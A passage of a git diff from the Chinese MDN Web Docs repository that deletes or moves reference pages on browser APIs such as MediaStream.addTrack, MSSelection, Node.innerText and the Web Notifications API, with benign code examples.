
- -

The new ad's element object is returned to the caller in case it's needed.

-
- -

Result

- -

The resulting page looks like this. Try experimenting with scrolling around and watch how visibility changes affect the timers in each ad. Also note that each ad is replaced after one minute of visibility, and how the timers pause while the document is tabbed into the background.

- -

{{EmbedLiveSample("fullpage_example", 750, 800)}}

- -

See also

- - diff --git a/files/zh-cn/web/api/mediastream.addtrack/index.html b/files/zh-cn/web/api/mediastream.addtrack/index.html deleted file mode 100644 index ffb8052af5..0000000000 --- a/files/zh-cn/web/api/mediastream.addtrack/index.html +++ /dev/null @@ -1,122 +0,0 @@ ---- -title: MediaStream.addTrack() -slug: Web/API/MediaStream.addTrack -translation_of: Web/API/MediaStream/addTrack ---- -

{{APIRef("Media Capture and Streams")}}

- -

MediaStream.addTrack() 方法会给流添加一个新轨道。指定一个{{domxref("MediaStreamTrack")}}对象作为参数。

- -
-

如果指定的track已经存在于流的track set里的话,该方法不会产生作用。

-
- -

语法

- -
stream.addTrack(track);
-
- -

Parameters

- -
-
track
-
A {{domxref("MediaStreamTrack")}} to add to the stream.
-
- -

Example

- -

 

- -

Specifications

- - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{ SpecName('Media Capture','#widl-MediaStream-addTrack-void-MediaStreamTrack-track','addTrack()') }}{{ Spec2('Media Capture') }}Initial specification.
- -

Browser compatibility

- -

{{ CompatibilityTable() }}

- -
{{ CompatUnknown() }} - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown() }}{{ CompatGeckoDesktop(34) }}{{ CompatNo() }}{{ CompatVersionUnknown() }}{{ CompatUnknown() }}
addTrack() and {{domxref("removeTrack()")}}{{ CompatUnknown() }}{{CompatGeckoDesktop(44)}}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatGeckoMobile(34) }}{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
addTrack() and {{domxref("removeTrack()")}}{{ CompatUnknown() }}{{CompatGeckoDesktop(44)}}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
-
- -

See also

- -
    -
  • {{domxref("MediaStream")}}, the interface it belongs to.
  • -
diff --git a/files/zh-cn/web/api/mediastream/addtrack/index.html b/files/zh-cn/web/api/mediastream/addtrack/index.html new file mode 100644 index 0000000000..ffb8052af5 --- /dev/null +++ b/files/zh-cn/web/api/mediastream/addtrack/index.html @@ -0,0 +1,122 @@ +--- +title: MediaStream.addTrack() +slug: Web/API/MediaStream.addTrack +translation_of: Web/API/MediaStream/addTrack +--- +

{{APIRef("Media Capture and Streams")}}

+ +

MediaStream.addTrack() 方法会给流添加一个新轨道。指定一个{{domxref("MediaStreamTrack")}}对象作为参数。

+ +
+

如果指定的track已经存在于流的track set里的话,该方法不会产生作用。

+
+ +

语法

+ +
stream.addTrack(track);
+
+ +

Parameters

+ +
+
track
+
A {{domxref("MediaStreamTrack")}} to add to the stream.
+
+ +

Example

+ +

 

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('Media Capture','#widl-MediaStream-addTrack-void-MediaStreamTrack-track','addTrack()') }}{{ Spec2('Media Capture') }}Initial specification.
+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
{{ CompatUnknown() }} + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown() }}{{ CompatGeckoDesktop(34) }}{{ CompatNo() }}{{ CompatVersionUnknown() }}{{ CompatUnknown() }}
addTrack() and {{domxref("removeTrack()")}}{{ CompatUnknown() }}{{CompatGeckoDesktop(44)}}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatGeckoMobile(34) }}{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
addTrack() and {{domxref("removeTrack()")}}{{ CompatUnknown() }}{{CompatGeckoDesktop(44)}}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

See also

+ +
    +
  • {{domxref("MediaStream")}}, the interface it belongs to.
  • +
diff --git a/files/zh-cn/web/api/msselection/index.html b/files/zh-cn/web/api/msselection/index.html deleted file mode 100644 index 5760848324..0000000000 --- a/files/zh-cn/web/api/msselection/index.html +++ /dev/null @@ -1,103 +0,0 @@ ---- -title: MSSelection -slug: Web/API/MSSelection -tags: - - API - - DHTML - - DOM - - MSSelection ---- -
{{ ApiRef("DOM") }}{{Non-standard_Header}}
- -
-

IE Only

-该属性是IE专有的。尽管IE很好地支持它,但大部分其它浏览器已经不支持该属性。该属性仅应在需兼容低版本IE时作为其中一种方案,而不是在跨浏览器的脚本中完全依赖它。
- -

MSSelection 对象表示用户选择的文本范围或插入光标(Caret)的当前位置,类似于标准定义的 {{domxref("Selection")}} 接口。它主要通过配套的 {{domxref("TextRange")}} 接口进行操作。

- -

该接口从IE4开始实现,但直到IE9时添加了对标准 Selection 接口的支持时,为了区分它才被命名为 MSSelection。可供修改和使用的 MSSelection 可通过 {{domxref("document.selection")}} 属性获取,但是这在IE11被彻底移除。

- -

注意,在非IE浏览器不支持该接口,可使用替代的标准 {{domxref("Selection")}} 接口。

- -

属性

- -
-
{{domxref("MSSelection.type")}}{{ReadOnlyInline}}
-
-

返回选中区域的类型。

-
-
- -

方法

- -
-
{{domxref("MSSelection.empty()")}}
-
取消当前选中区,将选中区类型设置为 none
-
{{domxref("MSSelection.clear()")}}
-
清除选中区的内容,将选中区类型设置为 none。注意,该方法可以删除不可编辑的元素。
-
{{domxref("MSSelection.createRange()")}}
-
在当前选中区上创建并返回一个 TextRange,其内容和当前选区一致。返回的区域在修改时不会直接作用到选区上,除非使用 {{domxref("TextRange.select()")}} 方法。
-
{{domxref("MSSelection.createRangeCollection()")}}
-
返回一个 {{domxref("TextRangeCollection")}},该集合包含选区中所有区域对应的 TextRange。注意该对象不是一个 {{jsxref("Array")}},且IE中的Web网页不支持多个选区,因此它总是返回单个对象的集合。
-
- -

示例

- -

以下示例在IE10以下有效。该示例通过 document.selection 获取 MSSelection 对象,并清空选区中的内容。

- -
var sel = document.selection;
-sel.clear();
- -

开发者笔记

- -

使用 TextRange 操作选中区域

- -
-

仅在IE9以下有效。在浏览器允许的情况下,应优先使用 {{domxref("Selection")}} 接口。

-
- -

{{domxref("document.selection")}} 属性返回一个 MSSelection 对象,selection.createRange() 方法创建一个和当前选中区域一致的 {{domxref("TextRange")}} 对象。

- -
var sel = document.selection;
-var range = sel.createRange();
-alert(range.text);
-// 输出被选区域的纯文本
- -

注意,createRange 方法并不创建引用,如果希望通过该方法修改选中区域,则需要调用 TextRange.select 方法。

- -

selection 兼容性

- -

document.selection 属性返回当前文档的 MSSelection 对象。标准规定一个窗口/文档可能有多个不相邻选区,但只有Firefox实现通过 Ctrl 选中多个区域;IE中一般也只允许文档只存在一个被选中的 TextRange

- -

然而,在其它浏览器中,document 并不存在一个所谓 selection 属性——它们通过标准 Selection API 实现对选区的操作,也就是通过 window.getSelection() 方法获取 {{domxref("Selection")}} 对象,并使用标准的 {{domxref("Range")}} 对象对文本片段作出处理。IE11及之后的版本也放弃了 document.selection 对象而转为使用标准接口(尽管 TextRange 一直保留,但大多数情况下它已失去作用)。

- -

这很容易引起迷惑。通常,如果脚本只要求兼容最新的浏览器,那么标准的接口是最佳的选择;但通常目前的网站仍希望兼容IE8或其以下的浏览器,因此,最好的做法是同时处理两者,也就是在不支持标准接口时尝试使用 MSSelection 方式,但不要把该方式作为唯一的选择。

- -

浏览器兼容性

- - - - - - - - - - - - - - - - - - -
IE其它浏览器
{{domxref("MSSelection")}} {{non-standard_inline()}}≤10(IE9后应使用标准API)不支持(详见Selection API
- -

扩展

- -
    -
  • {{domxref("TextRange")}} 接口
  • -
  • {{domxref("Selection")}} 及 {{domxref("Range")}} 标准接口
  • -
  • Selection API 用于取代该非标准接口
  • -
diff --git a/files/zh-cn/web/api/namelist/index.html b/files/zh-cn/web/api/namelist/index.html deleted file mode 100644 index 8506bc5266..0000000000 --- a/files/zh-cn/web/api/namelist/index.html +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: NameList -slug: Web/API/NameList -translation_of: Web/API/NameList ---- -

{{APIRef("DOM")}}{{ obsolete_header("10.0") }}

- -
-

Note: 虽然这个API曾经被用在 Gecko, 事实上它也是没有办法被创建的. NameList从 {{ Gecko("10.0") }}开始已经被废弃了。

-
- -

提供一个有序的键值对集合. 它可以通过下标0访问. 在DOM规范中没有指定这个集合是如何被应用的.

- -

属性

- -
-
{{domxref("NameList.length")}}{{readonlyInline}}
-
- -

方法

- -
-
{{domxref("NameList.contains()")}}
-
返回{{jsxref("Boolean")}}.
-
{{domxref("NameList.containsNS()")}}
-
返回 {{jsxref("Boolean")}}
-
{{domxref("NameList.getName()")}}
-
返回{{domxref("DOMString")}}
-
{{domxref("NameList.getNamespaceURI()")}}
-
返回 {{domxref("DOMString")}}
-
- -

Specifications

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName("DOM3 Core", "core.html#NameList", "NameList")}}{{Spec2("DOM3 Core")}}Initial definition
diff --git a/files/zh-cn/web/api/navigatorgeolocation/index.html b/files/zh-cn/web/api/navigatorgeolocation/index.html deleted file mode 100644 index f5432039ba..0000000000 --- a/files/zh-cn/web/api/navigatorgeolocation/index.html +++ /dev/null @@ -1,105 +0,0 @@ ---- -title: NavigatorGeolocation -slug: Web/API/NavigatorGeolocation -translation_of: Web/API/Geolocation -translation_of_original: Web/API/NavigatorGeolocation ---- -

{{APIRef("Geolocation API")}}

- -

NavigatorGeolocation  contains a creation method allowing objects implementing it to obtain a {{domxref("Geolocation")}} instance.

- -

There is no object of type NavigatorGeolocation, but some interfaces, like {{domxref("Navigator")}} implements it.

- -

Properties

- -

The NavigatorGeolocation interface doesn't inherit any property.

- -
-
{{domxref("NavigatorGeolocation.geolocation")}} {{readonlyInline}}
-
Returns a {{domxref("Geolocation")}} object allowing accessing the location of the device.
-
- -

Methods

- -

The NavigatorGeolocation interface neither implements, nor inherit any method.

- -

Specifications

- - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Geolocation', '#navi-geo', 'NavigatorGeolocation')}}{{Spec2('Geolocation')}}Initial specification.
- -

Browser compatibility

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support5{{CompatGeckoDesktop("1.9.1")}}910.60
- Removed in 15.0
- Reintroduced in 16.0
5
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown()}}{{CompatUnknown()}}{{CompatGeckoMobile("4")}}{{CompatUnknown()}}10.60{{CompatUnknown()}}
-
- -

See also

- - - -

 

diff --git "a/files/zh-cn/web/api/navigatorplugins/\346\265\213\350\257\225\346\273\225\347\233\226/index.html" "b/files/zh-cn/web/api/navigatorplugins/\346\265\213\350\257\225\346\273\225\347\233\226/index.html" deleted file mode 100644 index 3f9c09d768..0000000000 --- "a/files/zh-cn/web/api/navigatorplugins/\346\265\213\350\257\225\346\273\225\347\233\226/index.html" +++ /dev/null @@ -1,38 +0,0 @@ ---- -title: 测试滕盖 -slug: Web/API/NavigatorPlugins/测试滕盖 ---- -
{{ ApiRef("HTML DOM") }}
- -
 
- -

Summary

- -

Returns a {{domxref("MimeTypeArray")}} object, which contains a list of {{domxref("MimeType")}} objects representing the MIME types recognized by the browser.

- -

Syntax

- -
mimeTypes = navigator.mimeTypes;
-
- -

mimeTypes is a MimeTypeArray object which has a length property as well as item(index) and namedItem(name) methods.

- -

Example

- -
function isJavaPresent() {
-  return 'application/x-java-applet' in navigator.mimeTypes;
-}
-
-function getJavaPluginDescription() {
-  var mimetype = navigator.mimeTypes['application/x-java-applet'];
-  if (mimetype === undefined) {
-    // no Java plugin present
-    return undefined;
-  }
-  return mimetype.enabledPlugin.description;
-}
-
- -

Specification

- -

This is not part of any specification.

diff --git a/files/zh-cn/web/api/node/baseuriobject/index.html b/files/zh-cn/web/api/node/baseuriobject/index.html deleted file mode 100644 index ad04356656..0000000000 --- a/files/zh-cn/web/api/node/baseuriobject/index.html +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Node.baseURIObject -slug: Web/API/Node/baseURIObject -translation_of: Web/API/Node -translation_of_original: Web/API/Node/baseURIObject ---- -
- {{ApiRef}} {{Fx_minversion_header("3")}} {{Non-standard_header}}
-

概述

-

baseURIObject属性返回一个代表当前节点(通常是文档节点或元素节点)的基URL的{{Interface("nsIURI")}}对象.该属性类似与{{domxref("Node.baseURI")}},只是它返回的是一个包含更多信息的nsIURI对象,而不只是一个URL字符串.

-

该属性在所有类型的节点上都可用(HTML,XUL,SVG,MathML等),但脚本本身必须要有 UniversalXPConnect权限(XUL默认有这个权限,HTML没有).

-

查看{{domxref("Node.baseURI")}}了解基URL(base URL)是什么.

-

语法

-
uriObj = node.baseURIObject
-
-

附注

-

该属性只读,尝试为它赋值会抛出异常. 此外,这个属性只能从特权代码中访问.

-

规范

-

不属于任何规范,mozilla私有属性.

diff --git a/files/zh-cn/web/api/node/innertext/index.html b/files/zh-cn/web/api/node/innertext/index.html deleted file mode 100644 index 3062dda65f..0000000000 --- a/files/zh-cn/web/api/node/innertext/index.html +++ /dev/null @@ -1,92 +0,0 @@ ---- -title: HTMLElement.innerText -slug: Web/API/Node/innerText -tags: - - API - - DOM - - HTMLElement - - Property - - Reference - - 参考 - - 属性 -translation_of: Web/API/HTMLElement/innerText ---- -
{{APIRef("DOM")}}
- -

innerText 属性表示一个节点及其后代的“渲染”文本内容。 As a getter, it approximates the text the user would get if they highlighted the contents of the element with the cursor and then copied it to the clipboard.

- -
-

Note: innerText 很容易与{{domxref("Node.textContent")}}混淆, 但这两个属性间实际上有很重要的区别. 大体来说, innerText 可操作已被渲染的内容, 而 textContent 则不会.

-
- -

语法

- -
var renderedText = HTMLElement.innerText;
-HTMLElement.innerText = string;
- -

输出值

- -

一段 {{domxref("DOMString")}} 表示一个元素中已被渲染的内容. 如果元素自身没有 被渲染 (e.g 被从文档中删除或没有在视图中显示), 这时返回值与 {{domxref("Node.textContent")}} 属性相同.

- -

例子

- -

这个示例对比了 innerText 和 {{domxref("Node.textContent")}}. 这时 innerText 代表的含义就像 {{htmlElement("br")}} 标签, 并且忽略了隐藏的元素.

- -

HTML

- -
<h3>Source element:</h3>
-<p id="source">
-  <style>#source { color: red; }</style>
-Take a look at<br>how this text<br>is interpreted
-       below.
-  <span style="display:none">HIDDEN TEXT</span>
-</p>
-<h3>Result of textContent:</h3>
-<textarea id="textContentOutput" rows="6" cols="30" readonly>...</textarea>
-<h3>Result of innerText:</h3>
-<textarea id="innerTextOutput" rows="6" cols="30" readonly>...</textarea>
- -

JavaScript

- -
const source = document.getElementById('source');
-const textContentOutput = document.getElementById('textContentOutput');
-const innerTextOutput = document.getElementById('innerTextOutput');
-
-textContentOutput.innerHTML = source.textContent;
-innerTextOutput.innerHTML = source.innerText;
- -

结果

- -

{{EmbedLiveSample("Example", 700, 450)}}

- -

规范

- - - - - - - - - - - - - - -
规范状态备注
{{SpecName('HTML WHATWG', 'dom.html#the-innertext-idl-attribute', 'innerText')}}{{Spec2('HTML WHATWG')}}Introduced, based on the draft of the innerText specification. See whatwg/html#465 and whatwg/compat#5 for history.
- -

浏览器兼容

- - - -

{{Compat("api.HTMLElement.innerText")}}

- -

此特性最初由 Internet Explorer 引入。 被所有主要的浏览器供应商(vendor)采用后,它于 2016 年正式进入 HTML 标准。

- -

参见

- -
    -
  • {{domxref("HTMLElement.outerText")}}
  • -
  • {{domxref("Element.innerHTML")}}
  • -
diff --git a/files/zh-cn/web/api/node/nodeprincipal/index.html b/files/zh-cn/web/api/node/nodeprincipal/index.html deleted file mode 100644 index 58844aef2e..0000000000 --- a/files/zh-cn/web/api/node/nodeprincipal/index.html +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Node.nodePrincipal -slug: Web/API/Node/nodePrincipal -translation_of: Web/API/Node -translation_of_original: Web/API/Node/nodePrincipal ---- -
- {{APIRef}}{{Fx_minversion_header(3)}}{{Non-standard_header}} -

The Node.nodePrincipal read-only property returns the {{Interface("nsIPrincipal")}} object representing current security context of the node.

-

{{Note("This property exists on all nodes (HTML, XUL, SVG, MathML, etc.), but only if the script trying to use it has chrome privileges.")}}

-

Syntax

-
principalObj = element.nodePrincipal
-
-

Notes

-

This property is read-only; attempting to write to it will throw an exception. In addition, this property may only be accessed from privileged code.

-

Specification

-

Not in any specification.

-
-

 

diff --git a/files/zh-cn/web/api/node/outertext/index.html b/files/zh-cn/web/api/node/outertext/index.html deleted file mode 100644 index 01de770af7..0000000000 --- a/files/zh-cn/web/api/node/outertext/index.html +++ /dev/null @@ -1,9 +0,0 @@ ---- -title: Node.outerText -slug: Web/API/Node/outerText -tags: - - Node.outerText -translation_of: Web/API/HTMLElement/outerText -translation_of_original: Web/API/Node/outerText ---- -

请参阅 {{domxref("HTMLElement.outerText")}}

diff --git a/files/zh-cn/web/api/node/rootnode/index.html b/files/zh-cn/web/api/node/rootnode/index.html deleted file mode 100644 index 6291ef7fd6..0000000000 --- a/files/zh-cn/web/api/node/rootnode/index.html +++ /dev/null @@ -1,115 +0,0 @@ ---- -title: Node.rootNode -slug: Web/API/Node/rootNode -tags: - - API - - DOM - - Node - - Property - - Reference - - rootNode -translation_of: Web/API/Node/getRootNode -translation_of_original: Web/API/Node/rootNode ---- -

{{deprecated_header}}{{APIRef("DOM")}}{{SeeCompatTable}}

- -

Node.rootNode 是 {{domxref("Node")}} 的一个只读属性, 返回该节点所在 DOM 数的根节点(最高节点). 此属性是通过 {{domxref("Node.parentNode")}} 属性循环查找直到找到根节点.

- -
-

注意: 由于某种原因, 此属性已经被 {{domxref("Node.getRootNode()")}} 方法替代.

-
- -

语法

- -
rootNode = node.rootNode;
-
- -

 返回值

- -

返回 {{domxref("Node")}} 对象.

- -

样例

- -

下面是输出body的根节点样例:

- -
console.log(document.body.rootNode);
- -

参考

- -

Gecko内核的浏览器会在源代码中标签内部有空白符的地方插入一个文本结点到文档中.因此,使用诸如 - Node.firstChildNode.previousSibling 之类的方法可能会引用到一个空白符文本节点, - 而不是使用者所预期得到的节点.

- -

详情请参见 DOM 中的空白符 - 和W3C DOM 3 FAQ: 为什么一些文本节点是空的.

- -

浏览器兼容性

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatNo}}[1]{{CompatNo}}[1]{{CompatUnknown}}{{CompatNo}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatNo}}[1]{{CompatUnknown}}{{CompatNo}}[1]{{CompatUnknown}}
-
- -

[1] 此属性已经废弃, 使用{{domxref("Node.getRootNode()")}} 方法替代.

- -

规范

- - - - - - - - - - - - - - - - -
规范样式备注
{{SpecName('DOM WHATWG', '#dom-node-rootnode', 'Node.rootNode')}}{{Spec2('DOM WHATWG')}}初始定义
diff --git a/files/zh-cn/web/api/notification/sound/index.html b/files/zh-cn/web/api/notification/sound/index.html deleted file mode 100644 index ffe90b4955..0000000000 --- a/files/zh-cn/web/api/notification/sound/index.html +++ /dev/null @@ -1,129 +0,0 @@ ---- -title: Notification.sound -slug: Web/API/notification/sound -translation_of: Web/API/notification/sound ---- -

{{APIRef("Web Notifications")}}

- -
-

Note: 这个属性并没有完全被一些浏览器支持.

-
- -

 sound 是 {{domxref("Notification")}}的只读属性,interface specifies the URL of an audio file to be played when the notification fires. This is specified in the sound option of the {{domxref("Notification.Notification","Notification()")}} constructor.

- -

Syntax

- -
var sound = Notification.sound;
-
- -

Value

- -

A {{domxref("USVString")}}.

- -

Examples

- -

The following snippet is intended to fire a sound along with the notification; a simple options object is created, then the notification is fired using the Notification() constructor.

- -
var options = {
-  body: 'Do you like my body?',
-  sound: 'audio/alert.mp3'
-}
-
-var n = new Notification('Test notification',options);
-
-n.sound // should return 'audio/alert.mp3'
- -

Specifications

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Web Notifications','#dom-notification-sound','sound')}}{{Spec2('Web Notifications')}}Living standard
- -

Browser compatibility

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{ CompatNo() }} -

{{ CompatNo() }}

-
{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }} -

{{ CompatNo() }}

-
-
- -

Firefox OS notes

- -

{{Page("/en-US/docs/Web/API/Notifications_API", "Firefox OS notes")}}

- -

Chrome notes

- -

{{Page("/en-US/docs/Web/API/Notifications_API", "Chrome notes")}}

- -

Safari notes

- -

{{Page("/en-US/docs/Web/API/Notifications_API", "Safari notes")}}

- -

See also

- - diff --git a/files/zh-cn/web/api/notification/using_web_notifications/index.html b/files/zh-cn/web/api/notification/using_web_notifications/index.html deleted file mode 100644 index 40bbb3848b..0000000000 --- a/files/zh-cn/web/api/notification/using_web_notifications/index.html +++ /dev/null @@ -1,292 +0,0 @@ ---- -title: 使用 Web Notifications -slug: Web/API/notification/Using_Web_Notifications -tags: - - Firefox OS - - Notifications - - Using the Notifications API - - 通知 -translation_of: Web/API/Notifications_API/Using_the_Notifications_API ---- -

{{APIRef("Web Notifications")}}

- -

Notifications API 允许网页或应用程序在系统级别发送在页面外部显示的通知;这样即使应用程序空闲或在后台,Web应用程序也会向用户发送信息。本文将介绍在您自己的应用程序中使用此API的基础知识。

- -

{{AvailableInWorkers}}

- -

通常,系统通知是指操作系统的标准通知机制,例如思考典型的桌面系统或移动设备如何发布通知。

- -

                             

- -

                        

- -

系统通知系统当然会因平台和浏览器而异,但无需担心,通知API被编写为通用的,足以与大多数系统通知系统兼容。

- -

Web Notifications API 使页面可以发出通知,通知将被显示在页面之外的系统层面上(通常使用操作系统的标准通知机制,但是在不同的平台和浏览器上的表现会有差异)。这个功能使  web 应用可以向用户发送信息,即使应用处于空闲状态。最明显的用例之一是一个网页版电子邮件应用程序,每当用户收到了一封新的电子邮件都需要通知用户,即使用户正在使用另一个应用程序。

- -

要显示一条通知,你需要先请求适当的权限,然后你可以实例化一个 {{domxref("Notification")}} 实例:

- -
Notification.requestPermission( function(status) {
-  console.log(status); // 仅当值为 "granted" 时显示通知
-  var n = new Notification("title", {body: "notification body"}); // 显示通知
-});
-
- -

请求权限

- -

在应用可以发送通知之前,用户必须授予应用有权这么做。这是一个常见的要求,当一个 API 至少一次试图与 web 页外部进行交互时,用户不得不专门授予该应用程序有权限提出通知,从而让用户控制允许哪些应用程序或网站显示通知。

- -

检查当前权限状态

- -

你可以通过检查只读属性 {{domxref("Notification.permission")}} 的值来查看你是否已经有权限。该属性的值将会是下列三个之一:

- -
-
default
-
用户还未被询问是否授权,所以通知不会被显示。参看 {{anch("Getting permission")}} 以了解如何请求显示通知的权限。
-
granted
-
表示之前已经询问过用户,并且用户已经授予了显示通知的权限。
-
denied
-
用户已经明确的拒绝了显示通知的权限。
-
- -
-

注:Safari 和 Chrome (在 32 版本之前) 还没有实现 permission 属性。

-
- -

获得权限

- -

如果权限尚未被授予,那么应用不得不通过 {{domxref("Notification.requestPermission()")}} 方法让用户进行选择。这个方法接受一个回调函数,一旦用户回应了显示通知的请求,将会调用这个函数。

- -

通常你应在你的应用首次初始化的时候请求显示通知的权限:

- -
window.addEventListener('load', function () {
-  Notification.requestPermission(function (status) {
-    // 这将使我们能在 Chrome/Safari 中使用 Notification.permission
-    if (Notification.permission !== status) {
-      Notification.permission = status;
-    }
-  });
-});
- -
-

注:Chrome 不允许你在 load 事件处理中调用 {{domxref("Notification.requestPermission()")}} (参见 issue 274284)。

-
- -

Notification API 的清单权限

- -

请注意 Notification API 不是 {{Glossary("privileged")}} 或 {{Glossary("certified")}},因此当你在一个开放 web 应用中使用它时,你仍需要在你的 manifest.webapp 文件中包含以下项目:

- -
"permissions": {
-  "desktop-notification": {
-    "description": "Needed for creating system notifications."
-  }
-}
- -
-

注:当安装应用程序时,你不需要通过上面的代码显式的请求权限,但您仍然需要在触发通知之前取得权限项。

-
- -

创建通知

- -

创建通知很简单,只需要用 {{domxref("Notification")}} 构造方法。这个构造函数需要一个用来显示在通知内的标题以及一些用来增强通知的选项,例如 {{domxref("Notification.icon","icon")}} 或文本 {{domxref("Notification.body","body")}}。

- -

一旦通知被创建出来,它会立即被显示出来。为了跟踪通知当前的状态,在 {{domxref("Notification")}} 实例层面上会有4个事件被触发:

- -
-
{{event("show")}}
-
当通知被显示给用户时触发。
-
{{event("click")}}
-
当用户点击通知时触发。
-
{{event("close")}}
-
当通知被关闭时触发。
-
{{event("error")}}
-
当通知发生错误的时候触发。这通常是因为通知由于某些原因而无法显示。
-
- -

这些事件可以通过事件处理跟踪 {{domxref("Notification.onshow","onshow")}}、{{domxref("Notification.onclick","onclick")}}、{{domxref("Notification.onclose","onclose")}} 和 {{domxref("Notification.onerror","onerror")}}。因为 {{domxref("Notification")}} 同样继承自 {{domxref("EventTarget")}},因此可以对它调用 {{domxref("EventTarget.addEventListener","addEventListener()")}} 方法。

- -
-

注:Firefox 和 Safari 会在一定时间后自动关闭通知(大约4秒)。这也会发生在操作系统层面。

- -

当然你也可以通过代码做到,调用 {{domxref("Notification.close()")}} 方法,就像下面的代码一样:

- -
var n = new Notification("Hi!");
-n.onshow = function () {
-  setTimeout(n.close.bind(n), 5000);
-}
-
- -

当你接收到一个“close”事件时,并不能保证这个通知是被用户关闭的。这是符合规范的,其中指出:“当一个通知被关闭时,通知的关闭动作都必须执行,不论是底层通知平台导致,还是用户导致。”

-
- -

简单的例子

- -

假定有如下的 HTML:

- -
<button>Notify me!</button>
- -

它可能通过这样的方式处理通知:

- -
window.addEventListener('load', function () {
-  // 首先,让我们检查我们是否有权限发出通知
-  // 如果没有,我们就请求获得权限
-  if (window.Notification && Notification.permission !== "granted") {
-    Notification.requestPermission(function (status) {
-      if (Notification.permission !== status) {
-        Notification.permission = status;
-      }
-    });
-  }
-
-  var button = document.getElementsByTagName('button')[0];
-
-  button.addEventListener('click', function () {
-    // 如果用户同意就创建一个通知
-    if (window.Notification && Notification.permission === "granted") {
-      var n = new Notification("Hi!");
-    }
-
-    // 如果用户没有选择是否显示通知
-    // 注:因为在 Chrome 中我们无法确定 permission 属性是否有值,因此
-    // 检查该属性的值是否是 "default" 是不安全的。
-    else if (window.Notification && Notification.permission !== "denied") {
-      Notification.requestPermission(function (status) {
-        if (Notification.permission !== status) {
-          Notification.permission = status;
-        }
-
-        // 如果用户同意了
-        if (status === "granted") {
-          var n = new Notification("Hi!");
-        }
-
-        // 否则,我们可以让步的使用常规模态的 alert
-        else {
-          alert("Hi!");
-        }
-      });
-    }
-
-    // 如果用户拒绝接受通知
-    else {
-      // 我们可以让步的使用常规模态的 alert
-      alert("Hi!");
-    }
-  });
-});
- -

这是实际的结果:

- -

{{ EmbedLiveSample('Simple_example', '100%', 30) }}

- -

处理重复的通知

- -

某些情况下对于用户来说,显示大量通知是件令人痛苦的事情。比如,如果一个即时通信应用向用户提示每一条传入的消息。为了避免数以百计的不必要通知铺满用户的桌面,可能需要接管一个挂起消息的队列。

- -

因此,需要为新建的通知添加一个标记。如果有一条通知也具有一个相同的标记,并且还没有被显示,那么这条新通知将会替换上一条通知。如果有一条通知具有一个相同的标记,并且已经显示出来了,那么上一条通知将会被关闭,新通知将会被显示出来。

- -

使用标记的例子

- -

假定有如下 HTML:

- -
<button>Notify me!</button>
- -

它有可能通过这种方式处理的多个通知:

- -
window.addEventListener('load', function () {
-  // 首先,我们检查是否具有权限显示通知
-  // 如果没有,我们就申请权限
-  if (window.Notification && Notification.permission !== "granted") {
-    Notification.requestPermission(function (status) {
-      if (Notification.permission !== status) {
-        Notification.permission = status;
-      }
-    });
-  }
-
-  var button = document.getElementsByTagName('button')[0];
-
-  button.addEventListener('click', function () {
-    // 如果用户同意接收通知,我们就尝试发送10条通知
-    if (window.Notification && Notification.permission === "granted") {
-      for (var i = 0; i < 10; i++) {
-        // 感谢标记,我们应该只看到内容为 "Hi! 9" 的通知
-        var n = new Notification("Hi! " + i, {tag: 'soManyNotification'});
-      }
-    }
-
-    // 如果用户没有选择是否同意显示通知
-    // 注:由于在 Chrome 中不能确定 permission 属性是否有值,因此检查
-    // 该属性值是否为 "default" 是不安全的。
-    else if (window.Notification && Notification.permission !== "denied") {
-      Notification.requestPermission(function (status) {
-        if (Notification.permission !== status) {
-          Notification.permission = status;
-        }
-
-        // 如果用户同意
